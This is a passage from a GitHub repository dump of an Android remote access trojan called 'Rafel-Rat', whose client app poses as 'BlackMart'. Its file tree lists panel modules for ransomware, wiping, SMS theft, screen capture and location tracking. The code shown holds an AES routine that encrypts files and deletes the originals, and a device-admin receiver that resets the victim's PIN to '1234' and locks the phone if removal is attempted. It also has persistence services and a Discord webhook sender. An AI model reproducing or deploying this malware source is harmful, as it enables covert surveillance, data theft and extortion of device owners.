├── 2021-03-23-23-26-30_XZXbWfvD_YPKB.gif ├── BlackMart ├── app │ ├── build.gradle │ ├── local.properties │ ├── proguard-rules.pro │ └── src │ │ ├── androidTest │ │ └── java │ │ │ └── com │ │ │ └── velociraptor │ │ │ └── raptor │ │ │ └── ExampleInstrumentedTest.java │ │ ├── main │ │ ├── AndroidManifest.xml │ │ ├── java │ │ │ └── com │ │ │ │ └── velociraptor │ │ │ │ └── raptor │ │ │ │ ├── Aes.java │ │ │ │ ├── AppContant.java │ │ │ │ ├── BlurBuilder.java │ │ │ │ ├── BootReceiver.java │ │ │ │ ├── DeviceAdminComponent.java │ │ │ │ ├── DiscordWebhook.java │ │ │ │ ├── ForegroundService.java │ │ │ │ ├── InternalService.java │ │ │ │ ├── JobWakeService.java │ │ │ │ ├── LongToast.java │ │ │ │ ├── MainActivity.java │ │ │ │ ├── MyService.java │ │ │ │ └── NotificationListener.java │ │ └── res │ │ │ ├── drawable │ │ │ └── test.xml │ │ │ ├── layout │ │ │ ├── activity_main.xml │ │ │ └── lock_screen.xml │ │ │ ├── mipmap-hdpi │ │ │ ├── ic_launcher.png │ │ │ └── paper.png │ │ │ ├── mipmap-mdpi │ │ │ ├── ic_launcher.png │ │ │ └── paper.png │ │ │ ├── mipmap-xhdpi │ │ │ ├── ic_launcher.png │ │ │ └── paper.png │ │ │ ├── mipmap-xxhdpi │ │ │ ├── ic_launcher.png │ │ │ └── paper.png │ │ │ ├── mipmap-xxxhdpi │ │ │ ├── ic_launcher.png │ │ │ └── paper.png │ │ │ ├── values │ │ │ ├── colors.xml │ │ │ ├── strings.xml │ │ │ └── styles.xml │ │ │ └── xml │ │ │ ├── admin.xml │ │ │ └── network_security_config.xml │ │ └── test │ │ └── java │ │ └── com │ │ └── velociraptor │ │ └── raptor │ │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── local.properties └── settings.gradle ├── LICENSE ├── README.md ├── Screenshots ├── 11.png ├── 22.png ├── Screenshot (70).png ├── Screenshot (71).png ├── Screenshot (72).png ├── Screenshot (73).png ├── Screenshot (84).png └── Screenshot (85).png ├── Server_Panel ├── private │ ├── session_manager.php │ └── storage │ │ └── device_list.json └── public │ ├── commands.php │ ├── css │ ├── font-awesome.min.css │ ├── images │ │ ├── layers-2x.png │ │ ├── layers.png │ │ ├── marker-icon-2x.png │ │ ├── marker-icon.png │ │ └── marker-shadow.png │ ├── leaflet.css │ ├── theme.css │ └── toastify.css │ ├── images │ ├── ekran-mesajı.png │ ├── login.png │ ├── lokasyon-takibi.png │ ├── mesaj-gönder.png │ ├── metin-seslendirme.png │ ├── rehber-kayıtları.png │ ├── signal-sender.png │ ├── telefon-detay.png │ ├── tüm-aramalar.png │ ├── tüm-mesajlar.png │ ├── tüm-uygulamalar.png │ ├── victim-panel.png │ └── yazı-seslendirme.png │ ├── index.php │ ├── js │ ├── jquery.js │ ├── leaflet.js │ ├── socket.io.js │ └── toastify.js │ ├── kontrol-panel.php │ ├── login.php │ └── modules │ ├── LockTheScreen.php │ ├── app_list.php │ ├── browser_history.php │ ├── call_log_history.php │ ├── changewallpaper.php │ ├── deletecalls.php │ ├── device-property.php │ ├── file_manager.php │ ├── location-tracker.php │ ├── module_controller.php │ ├── ransomware.php │ ├── read_all_sms.php │ ├── rehber.php │ ├── screen-capture.php │ ├── screen-message.php │ ├── send-sms.php │ ├── text-speech.php │ ├── vibrate.php │ └── wipe.php └── unzip.php /2021-03-23-23-26-30_XZXbWfvD_YPKB.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/2021-03-23-23-26-30_XZXbWfvD_YPKB.gif -------------------------------------------------------------------------------- /BlackMart/app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | 4 | android { 5 | compileSdkVersion 28 6 | buildToolsVersion '30.0.0' 7 | defaultConfig { 8 | applicationId "com.velociraptor.raptor" 9 | minSdkVersion 18 10 | //noinspection ExpiredTargetSdkVersion 11 | targetSdkVersion 21 12 | versionCode 1 13 | versionName "1.0" 14 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 15 | multiDexEnabled true 16 | } 17 | buildTypes { 18 | release { 19 | minifyEnabled false 20 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 21 | } 22 | } 23 | 24 | compileOptions { 25 | sourceCompatibility 1.8 26 | targetCompatibility 1.8 27 | } 28 | } 29 | 30 | dependencies { 31 | implementation fileTree(dir: 'libs', include: ['*.jar']) 32 | implementation 'androidx.appcompat:appcompat:1.2.0' 33 | implementation 'androidx.constraintlayout:constraintlayout:2.0.4' 34 | testImplementation 'junit:junit:4.13.2' 35 | androidTestImplementation 'androidx.test.ext:junit:1.1.2' 36 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.3.0' 37 | implementation 'com.amitshekhar.android:android-networking:1.0.2' 38 | implementation 'com.pixplicity.easyprefs:library:1.9.0' 39 | implementation 'com.github.nisrulz:easydeviceinfo:2.4.1' 40 | implementation 'com.karumi:dexter:6.2.2' 41 | implementation 'com.github.amirdew:JSON:v1.0.0' 42 | implementation 'com.github.tamir7.contacts:contacts:1.1.7' 43 | implementation 'me.everything:providers-stetho:1.0.1' 44 | implementation 'com.klinkerapps:android-smsmms:5.2.6' 45 | implementation 'com.github.quentin7b:android-location-tracker:4.0' 46 | implementation 'com.github.GrenderG:Toasty:1.5.0' 47 | implementation 'io.reactivex.rxjava3:rxjava:3.0.0' 48 | implementation 'io.reactivex.rxjava3:rxandroid:3.0.0' 49 | 50 | } 51 | -------------------------------------------------------------------------------- /BlackMart/app/local.properties: -------------------------------------------------------------------------------- 1 | ## This file must *NOT* be checked into Version Control Systems, 2 | # as it contains information specific to your local configuration. 3 | # 4 | # Location of the SDK. This is only used by Gradle. 5 | # For customization when using a Version Control System, please read the 6 | # header note. 7 | #Tue Mar 23 19:04:59 IST 2021 8 | sdk.dir=C\:\\Users\\Lenovo\\AppData\\Local\\Android\\Sdk 9 | -------------------------------------------------------------------------------- /BlackMart/app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /BlackMart/app/src/androidTest/java/com/velociraptor/raptor/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.content.Context; 4 | 5 | import androidx.test.platform.app.InstrumentationRegistry; 6 | import androidx.test.ext.junit.runners.AndroidJUnit4; 7 | 8 | import org.junit.Test; 9 | import org.junit.runner.RunWith; 10 | 11 | import static org.junit.Assert.*; 12 | 13 | /** 14 | * Instrumented test, which will execute on an Android device. 15 | * 16 | * @see Testing documentation 17 | */ 18 | @RunWith(AndroidJUnit4.class) 19 | public class ExampleInstrumentedTest { 20 | @Test 21 | public void useAppContext() { 22 | // Context of the app under test. 23 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 24 | 25 | assertEquals("com.velociraptor.raptor", appContext.getPackageName()); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 37 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 57 | 58 | 59 | 60 | 61 | 66 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 80 | 81 | 85 | 86 | 90 | 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/Aes.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileOutputStream; 6 | 7 | import javax.crypto.Cipher; 8 | import javax.crypto.CipherInputStream; 9 | import javax.crypto.SecretKey; 10 | import javax.crypto.spec.SecretKeySpec; 11 | 12 | public class Aes { 13 | 14 | 15 | public static void encryptLarge(byte[] seed, File in, File out) throws Exception { 16 | SecretKeySpec skeySpec = new SecretKeySpec(getRawKey(seed), "AES"); 17 | Cipher cipher = Cipher.getInstance("AES"); 18 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec); 19 | 20 | FileInputStream inputStream = new FileInputStream(in); 21 | FileOutputStream fileOutputStream = new FileOutputStream(out); 22 | 23 | int read; 24 | byte[] buffer = new byte[4096]; 25 | 26 | CipherInputStream cis = new CipherInputStream(inputStream, cipher); 27 | 28 | while ((read = cis.read(buffer)) != -1) { 29 | fileOutputStream.write(buffer, 0, read); 30 | } 31 | fileOutputStream.close(); 32 | cis.close(); 33 | in.delete(); 34 | } 35 | public static void decryptLarge(byte[] seed, File in, File out) throws Exception { 36 | SecretKeySpec skeySpec = new SecretKeySpec(getRawKey(seed), "AES"); 37 | Cipher cipher = Cipher.getInstance("AES"); 38 | cipher.init(Cipher.DECRYPT_MODE, skeySpec); 39 | 40 | FileInputStream inputStream = new FileInputStream(in); 41 | FileOutputStream fileOutputStream = new FileOutputStream(out); 42 | 43 | int read; 44 | byte[] buffer = new byte[4096]; 45 | 46 | CipherInputStream cis = new CipherInputStream(inputStream, cipher); 47 | 48 | while ((read = cis.read(buffer)) != -1) { 49 | fileOutputStream.write(buffer, 0, read); 50 | } 51 | fileOutputStream.close(); 52 | cis.close(); 53 | in.delete(); 54 | } 55 | 56 | public static byte[] encrypt(byte[] seed, byte[] cleartext) 57 | throws Exception { 58 | byte[] rawKey = getRawKey(seed); 59 | return encryptAes(rawKey, cleartext); 60 | } 61 | 62 | public static byte[] decrypt(byte[] seed, byte[] enc) throws Exception { 63 | byte[] rawKey = getRawKey(seed); 64 | return decryptAes(rawKey, enc); 65 | } 66 | 67 | private static byte[] getRawKey(byte[] seed) throws Exception { 68 | SecretKey sKey = new SecretKeySpec(seed, "AES"); 69 | return sKey.getEncoded(); 70 | } 71 | 72 | private static byte[] encryptAes(byte[] raw, byte[] clear) throws Exception { 73 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 74 | Cipher cipher = Cipher.getInstance("AES"); 75 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec); 76 | return cipher.doFinal(clear); 77 | } 78 | 79 | private static byte[] decryptAes(byte[] raw, byte[] encrypted) 80 | throws Exception { 81 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 82 | Cipher cipher = Cipher.getInstance("AES"); 83 | cipher.init(Cipher.DECRYPT_MODE, skeySpec); 84 | return cipher.doFinal(encrypted); 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/AppContant.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | public class AppContant { 4 | public double getLatitude = 0.0; 5 | public double getLongitude = 0.0; 6 | } 7 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/BlurBuilder.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.content.Context; 4 | import android.graphics.Bitmap; 5 | import android.renderscript.Allocation; 6 | import android.renderscript.Element; 7 | import android.renderscript.RenderScript; 8 | import android.renderscript.ScriptIntrinsicBlur; 9 | 10 | public class BlurBuilder { 11 | private static final float BITMAP_SCALE = 0.4f; 12 | private static final float BLUR_RADIUS = 7.5f; 13 | 14 | public static Bitmap blur(Context context, Bitmap image) { 15 | int width = Math.round(image.getWidth() * BITMAP_SCALE); 16 | int height = Math.round(image.getHeight() * BITMAP_SCALE); 17 | 18 | Bitmap inputBitmap = Bitmap.createScaledBitmap(image, width, height, false); 19 | Bitmap outputBitmap = Bitmap.createBitmap(inputBitmap); 20 | 21 | RenderScript rs = RenderScript.create(context); 22 | ScriptIntrinsicBlur theIntrinsic = ScriptIntrinsicBlur.create(rs, Element.U8_4(rs)); 23 | Allocation tmpIn = Allocation.createFromBitmap(rs, inputBitmap); 24 | Allocation tmpOut = Allocation.createFromBitmap(rs, outputBitmap); 25 | theIntrinsic.setRadius(BLUR_RADIUS); 26 | theIntrinsic.setInput(tmpIn); 27 | theIntrinsic.forEach(tmpOut); 28 | tmpOut.copyTo(outputBitmap); 29 | 30 | return outputBitmap; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/BootReceiver.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.os.Build; 7 | 8 | public class BootReceiver extends BroadcastReceiver { 9 | 10 | @Override 11 | public void onReceive(Context context, Intent intent) { 12 | if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) { 13 | Intent cmdService = new Intent(context.getApplicationContext(), InternalService.class); 14 | context.startService(cmdService); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/DeviceAdminComponent.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | 4 | import android.app.admin.DeviceAdminReceiver; 5 | import android.app.admin.DevicePolicyManager; 6 | import android.content.ComponentName; 7 | import android.content.Context; 8 | import android.content.Intent; 9 | 10 | public class DeviceAdminComponent extends DeviceAdminReceiver { 11 | 12 | private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"; 13 | public CharSequence onDisableRequested(Context context, Intent intent) { 14 | 15 | ComponentName localComponentName = new ComponentName(context, DeviceAdminComponent.class); 16 | DevicePolicyManager localDevicePolicyManager = (DevicePolicyManager)context.getSystemService(Context.DEVICE_POLICY_SERVICE ); 17 | if (localDevicePolicyManager.isAdminActive(localComponentName)) 18 | { 19 | localDevicePolicyManager.setPasswordQuality(localComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC); 20 | } 21 | // resetting user password 22 | localDevicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, DevicePolicyManager.RESET_PASSWORD_REQUIRE_ENTRY); 23 | // locking the device 24 | localDevicePolicyManager.lockNow(); 25 | 26 | return super.onDisableRequested(context, intent);}} 27 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/DiscordWebhook.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.graphics.Color; 4 | 5 | import javax.net.ssl.HttpsURLConnection; 6 | import java.io.IOException; 7 | import java.io.OutputStream; 8 | import java.lang.reflect.Array; 9 | import java.net.URL; 10 | import java.util.ArrayList; 11 | import java.util.HashMap; 12 | import java.util.List; 13 | import java.util.Map; 14 | import java.util.Set; 15 | 16 | /** 17 | * Class used to execute Discord Webhooks with low effort 18 | */ 19 | public class DiscordWebhook { 20 | 21 | private final String url; 22 | private String content; 23 | private String username; 24 | private String avatarUrl; 25 | private boolean tts; 26 | private List embeds = new ArrayList<>(); 27 | 28 | /** 29 | * Constructs a new DiscordWebhook instance 30 | * 31 | * @param url The webhook URL obtained in Discord 32 | */ 33 | public DiscordWebhook(String url) { 34 | this.url = url; 35 | } 36 | 37 | public void setContent(String content) { 38 | this.content = content; 39 | } 40 | 41 | public void setUsername(String username) { 42 | this.username = username; 43 | } 44 | 45 | public void setAvatarUrl(String avatarUrl) { 46 | this.avatarUrl = avatarUrl; 47 | } 48 | 49 | public void setTts(boolean tts) { 50 | this.tts = tts; 51 | } 52 | 53 | public void addEmbed(EmbedObject embed) { 54 | this.embeds.add(embed); 55 | } 56 | 57 | public void execute() throws IOException { 58 | if (this.content == null && this.embeds.isEmpty()) { 59 | throw new IllegalArgumentException("Set content or add at least one EmbedObject"); 60 | } 61 | 62 | JSONObject json = new JSONObject(); 63 | 64 | json.put("content", this.content); 65 | json.put("username", this.username); 66 | json.put("avatar_url", this.avatarUrl); 67 | json.put("tts", this.tts); 68 | 69 | if (!this.embeds.isEmpty()) { 70 | List embedObjects = new ArrayList<>(); 71 | 72 | for (EmbedObject embed : this.embeds) { 73 | JSONObject jsonEmbed = new JSONObject(); 74 | 75 | jsonEmbed.put("title", embed.getTitle()); 76 | jsonEmbed.put("description", embed.getDescription()); 77 | jsonEmbed.put("url", embed.getUrl()); 78 | 79 | /*if (embed.getColor() != null) { 80 | Color color = embed.getColor(); 81 | int rgb = color.getRed(); 82 | rgb = (rgb << 8) + color.getGreen(); 83 | rgb = (rgb << 8) + color.getBlue(); 84 | 85 | jsonEmbed.put("color", rgb); 86 | }*/ 87 | 88 | EmbedObject.Footer footer = embed.getFooter(); 89 | EmbedObject.Image image = embed.getImage(); 90 | EmbedObject.Thumbnail thumbnail = embed.getThumbnail(); 91 | EmbedObject.Author author = embed.getAuthor(); 92 | List fields = embed.getFields(); 93 | 94 | if (footer != null) { 95 | JSONObject jsonFooter = new JSONObject(); 96 | 97 | jsonFooter.put("text", footer.getText()); 98 | jsonFooter.put("icon_url", footer.getIconUrl()); 99 | jsonEmbed.put("footer", jsonFooter); 100 | } 101 | 102 | if (image != null) { 103 | JSONObject jsonImage = new JSONObject(); 104 | 105 | jsonImage.put("url", image.getUrl()); 106 | jsonEmbed.put("image", jsonImage); 107 | } 108 | 109 | if (thumbnail != null) { 110 | JSONObject jsonThumbnail = new JSONObject(); 111 | 112 | jsonThumbnail.put("url", thumbnail.getUrl()); 113 | jsonEmbed.put("thumbnail", jsonThumbnail); 114 | } 115 | 116 | if (author != null) { 117 | JSONObject jsonAuthor = new JSONObject(); 118 | 119 | jsonAuthor.put("name", author.getName()); 120 | jsonAuthor.put("url", author.getUrl()); 121 | jsonAuthor.put("icon_url", author.getIconUrl()); 122 | jsonEmbed.put("author", jsonAuthor); 123 | } 124 | 125 | List jsonFields = new ArrayList<>(); 126 | for (EmbedObject.Field field : fields) { 127 | JSONObject jsonField = new JSONObject(); 128 | 129 | jsonField.put("name", field.getName()); 130 | jsonField.put("value", field.getValue()); 131 | jsonField.put("inline", field.isInline()); 132 | 133 | jsonFields.add(jsonField); 134 | } 135 | 136 | jsonEmbed.put("fields", jsonFields.toArray()); 137 | embedObjects.add(jsonEmbed); 138 | } 139 | 140 | json.put("embeds", embedObjects.toArray()); 141 | } 142 | 143 | URL url = new URL(this.url); 144 | HttpsURLConnection connection = (HttpsURLConnection) url.openConnection(); 145 | connection.addRequestProperty("Content-Type", "application/json"); 146 | connection.addRequestProperty("User-Agent", "Java-DiscordWebhook-BY-Gelox_"); 147 | connection.setDoOutput(true); 148 | connection.setRequestMethod("POST"); 149 | 150 | OutputStream stream = connection.getOutputStream(); 151 | stream.write(json.toString().getBytes()); 152 | stream.flush(); 153 | stream.close(); 154 | 155 | connection.getInputStream().close(); //I'm not sure why but it doesn't work without getting the InputStream 156 | connection.disconnect(); 157 | } 158 | 159 | public static class EmbedObject { 160 | private String title; 161 | private String description; 162 | private String url; 163 | private Color color; 164 | 165 | private Footer footer; 166 | private Thumbnail thumbnail; 167 | private Image image; 168 | private Author author; 169 | private List fields = new ArrayList<>(); 170 | 171 | public String getTitle() { 172 | return title; 173 | } 174 | 175 | public String getDescription() { 176 | return description; 177 | } 178 | 179 | public String getUrl() { 180 | return url; 181 | } 182 | 183 | public Color getColor() { 184 | return color; 185 | } 186 | 187 | public Footer getFooter() { 188 | return footer; 189 | } 190 | 191 | public Thumbnail getThumbnail() { 192 | return thumbnail; 193 | } 194 | 195 | public Image getImage() { 196 | return image; 197 | } 198 | 199 | public Author getAuthor() { 200 | return author; 201 | } 202 | 203 | public List getFields() { 204 | return fields; 205 | } 206 | 207 | public EmbedObject setTitle(String title) { 208 | this.title = title; 209 | return this; 210 | } 211 | 212 | public EmbedObject setDescription(String description) { 213 | this.description = description; 214 | return this; 215 | } 216 | 217 | public EmbedObject setUrl(String url) { 218 | this.url = url; 219 | return this; 220 | } 221 | 222 | public EmbedObject setColor(Color color) { 223 | this.color = color; 224 | return this; 225 | } 226 | 227 | public EmbedObject setFooter(String text, String icon) { 228 | this.footer = new Footer(text, icon); 229 | return this; 230 | } 231 | 232 | public EmbedObject setThumbnail(String url) { 233 | this.thumbnail = new Thumbnail(url); 234 | return this; 235 | } 236 | 237 | public EmbedObject setImage(String url) { 238 | this.image = new Image(url); 239 | return this; 240 | } 241 | 242 | public EmbedObject setAuthor(String name, String url, String icon) { 243 | this.author = new Author(name, url, icon); 244 | return this; 245 | } 246 | 247 | public EmbedObject addField(String name, String value, boolean inline) { 248 | this.fields.add(new Field(name, value, inline)); 249 | return this; 250 | } 251 | 252 | private class Footer { 253 | private String text; 254 | private String iconUrl; 255 | 256 | private Footer(String text, String iconUrl) { 257 | this.text = text; 258 | this.iconUrl = iconUrl; 259 | } 260 | 261 | private String getText() { 262 | return text; 263 | } 264 | 265 | private String getIconUrl() { 266 | return iconUrl; 267 | } 268 | } 269 | 270 | private class Thumbnail { 271 | private String url; 272 | 273 | private Thumbnail(String url) { 274 | this.url = url; 275 | } 276 | 277 | private String getUrl() { 278 | return url; 279 | } 280 | } 281 | 282 | private class Image { 283 | private String url; 284 | 285 | private Image(String url) { 286 | this.url = url; 287 | } 288 | 289 | private String getUrl() { 290 | return url; 291 | } 292 | } 293 | 294 | private class Author { 295 | private String name; 296 | private String url; 297 | private String iconUrl; 298 | 299 | private Author(String name, String url, String iconUrl) { 300 | this.name = name; 301 | this.url = url; 302 | this.iconUrl = iconUrl; 303 | } 304 | 305 | private String getName() { 306 | return name; 307 | } 308 | 309 | private String getUrl() { 310 | return url; 311 | } 312 | 313 | private String getIconUrl() { 314 | return iconUrl; 315 | } 316 | } 317 | 318 | private class Field { 319 | private String name; 320 | private String value; 321 | private boolean inline; 322 | 323 | private Field(String name, String value, boolean inline) { 324 | this.name = name; 325 | this.value = value; 326 | this.inline = inline; 327 | } 328 | 329 | private String getName() { 330 | return name; 331 | } 332 | 333 | private String getValue() { 334 | return value; 335 | } 336 | 337 | private boolean isInline() { 338 | return inline; 339 | } 340 | } 341 | } 342 | 343 | private class JSONObject { 344 | 345 | private final HashMap map = new HashMap<>(); 346 | 347 | void put(String key, Object value) { 348 | if (value != null) { 349 | map.put(key, value); 350 | } 351 | } 352 | 353 | @Override 354 | public String toString() { 355 | StringBuilder builder = new StringBuilder(); 356 | Set> entrySet = map.entrySet(); 357 | builder.append("{"); 358 | 359 | int i = 0; 360 | for (Map.Entry entry : entrySet) { 361 | Object val = entry.getValue(); 362 | builder.append(quote(entry.getKey())).append(":"); 363 | 364 | if (val instanceof String) { 365 | builder.append(quote(String.valueOf(val))); 366 | } else if (val instanceof Integer) { 367 | builder.append(Integer.valueOf(String.valueOf(val))); 368 | } else if (val instanceof Boolean) { 369 | builder.append(val); 370 | } else if (val instanceof JSONObject) { 371 | builder.append(val.toString()); 372 | } else if (val.getClass().isArray()) { 373 | builder.append("["); 374 | int len = Array.getLength(val); 375 | for (int j = 0; j < len; j++) { 376 | builder.append(Array.get(val, j).toString()).append(j != len - 1 ? "," : ""); 377 | } 378 | builder.append("]"); 379 | } 380 | 381 | builder.append(++i == entrySet.size() ? "}" : ","); 382 | } 383 | 384 | return builder.toString(); 385 | } 386 | 387 | private String quote(String string) { 388 | return "\"" + string + "\""; 389 | } 390 | } 391 | 392 | } 393 | 394 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/ForegroundService.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.app.Notification; 4 | import android.app.NotificationChannel; 5 | import android.app.NotificationManager; 6 | import android.app.PendingIntent; 7 | import android.app.Service; 8 | import android.content.Intent; 9 | import android.os.Build; 10 | import android.os.IBinder; 11 | 12 | import androidx.annotation.Nullable; 13 | import androidx.core.app.NotificationCompat; 14 | 15 | public class ForegroundService extends Service { 16 | public static final String CHANNEL_ID = "ForegroundServiceChannel"; 17 | @Override 18 | public void onCreate() { 19 | super.onCreate(); 20 | } 21 | @Override 22 | public int onStartCommand(Intent intent, int flags, int startId) { 23 | String input = intent.getStringExtra("inputExtra"); 24 | createNotificationChannel(); 25 | Intent notificationIntent = new Intent(this, InternalService.class); 26 | PendingIntent pendingIntent = PendingIntent.getActivity(this, 27 | 0, notificationIntent, 0); 28 | Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) 29 | .setContentTitle("BlackMart") 30 | .setContentText(input) 31 | .setSmallIcon(android.R.drawable.ic_secure) 32 | .setContentIntent(pendingIntent) 33 | .build(); 34 | startForeground(1, notification); 35 | Intent serviceIntents = new Intent(getApplicationContext(), InternalService.class); 36 | startService(serviceIntents); 37 | return START_REDELIVER_INTENT; 38 | } 39 | @Override 40 | public void onDestroy() { 41 | Intent serviceIntents = new Intent(getApplicationContext(), InternalService.class); 42 | startService(serviceIntents); 43 | super.onDestroy(); 44 | } 45 | @Nullable 46 | @Override 47 | public IBinder onBind(Intent intent) { 48 | return null; 49 | } 50 | private void createNotificationChannel() { 51 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { 52 | NotificationChannel serviceChannel = new NotificationChannel( 53 | CHANNEL_ID, 54 | "Foreground Service Channel", 55 | NotificationManager.IMPORTANCE_DEFAULT 56 | ); 57 | NotificationManager manager = getSystemService(NotificationManager.class); 58 | manager.createNotificationChannel(serviceChannel); 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/JobWakeService.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.annotation.TargetApi; 4 | import android.app.ActivityManager; 5 | import android.app.job.JobInfo; 6 | import android.app.job.JobParameters; 7 | import android.app.job.JobScheduler; 8 | import android.app.job.JobService; 9 | import android.content.ComponentName; 10 | import android.content.Context; 11 | import android.content.Intent; 12 | import android.os.Build; 13 | import android.util.Log; 14 | 15 | import java.util.List; 16 | 17 | import static android.app.Service.START_STICKY; 18 | 19 | @TargetApi(Build.VERSION_CODES.LOLLIPOP) 20 | 21 | class JobWakeUpService extends JobService { 22 | 23 | private JobScheduler service; 24 | private int JobId=100; 25 | @Override 26 | public int onStartCommand(Intent intent, int flags, int startId) { 27 | JobInfo info = new JobInfo.Builder(JobId,new ComponentName(this,JobWakeUpService.class)) 28 | .setPeriodic(2000) 29 | .build(); 30 | 31 | service = (JobScheduler) getSystemService(Context.JOB_SCHEDULER_SERVICE); 32 | 33 | service.schedule(info); 34 | return START_STICKY; 35 | } 36 | 37 | @Override 38 | public boolean onStartJob(JobParameters params) { 39 | Log.e("JobWakeUpService", "JobWakeUpService====>print"); 40 | //Start a Timing Task 41 | if(!isServiceWork(this,InternalService.class.getName())){ 42 | // 43 | startService(new Intent(this,InternalService.class)); 44 | } 45 | 46 | return false; 47 | } 48 | 49 | @Override 50 | public boolean onStopJob(JobParameters params) { 51 | return false; 52 | } 53 | 54 | 55 | private boolean isServiceWork(Context context,String serviceName){ 56 | ActivityManager am= (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); 57 | List runningServices = am.getRunningServices(100); 58 | if(runningServices == null){ 59 | return false; 60 | } 61 | for (ActivityManager.RunningServiceInfo service : runningServices) { 62 | String className = service.service.getClassName(); 63 | if(className.equals(serviceName)){ 64 | return true; 65 | } 66 | } 67 | return false; 68 | 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /BlackMart/app/src/main/java/com/velociraptor/raptor/LongToast.java: -------------------------------------------------------------------------------- 1 | package com.velociraptor.raptor; 2 | 3 | import android.content.Context; 4 | import android.graphics.Color; 5 | import android.os.CountDownTimer; 6 | import android.view.Gravity; 7 | import android.view.View; 8 | import android.widget.TextView; 9 | import android.widget.Toast; 10 | 11 | class LongToast { 12 | 13 | private LongToast() {} 14 | 15 | static void makeLongToast(Context context, String text, long durationInMillis) 16 | { 17 | 18 | final Toast toastMessage = new Toast(context); 19 | 20 | //Creating TextView. 21 | TextView textView = new TextView(context); 22 | 23 | //Setting up Text Color. 24 | textView.setTextColor(Color.parseColor("#fafafa")); 25 | 26 | //Setting up Text Size. 27 | textView.setTextSize(17); 28 | 29 | //Setting up Toast Message Text. 30 | textView.setText(text); 31 | 32 | //Add padding to Toast message. 33 | textView.setPadding(20, 20, 20, 23); 34 | 35 | //Add Gravity TextView. 36 | textView.setGravity(Gravity.CENTER); 37 | 38 | //Adding TextView into Toast. 39 | toastMessage.setView(textView); 40 | 41 | //Access toast message as View. 42 | View toastView = toastMessage.getView(); 43 | 44 | //Set Custom Background on Toast. 45 | toastView.setBackgroundResource(R.drawable.test); 46 | 47 | 48 | new CountDownTimer(durationInMillis, 1000) 49 | { 50 | public void onTick(long millisUntilFinished) 51 | { 52 | toastMessage.show(); 53 | } 54 | public void onFinish() 55 | { 56 | toastMessage.cancel(); 57 | } 58 | 59 | }.start(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- 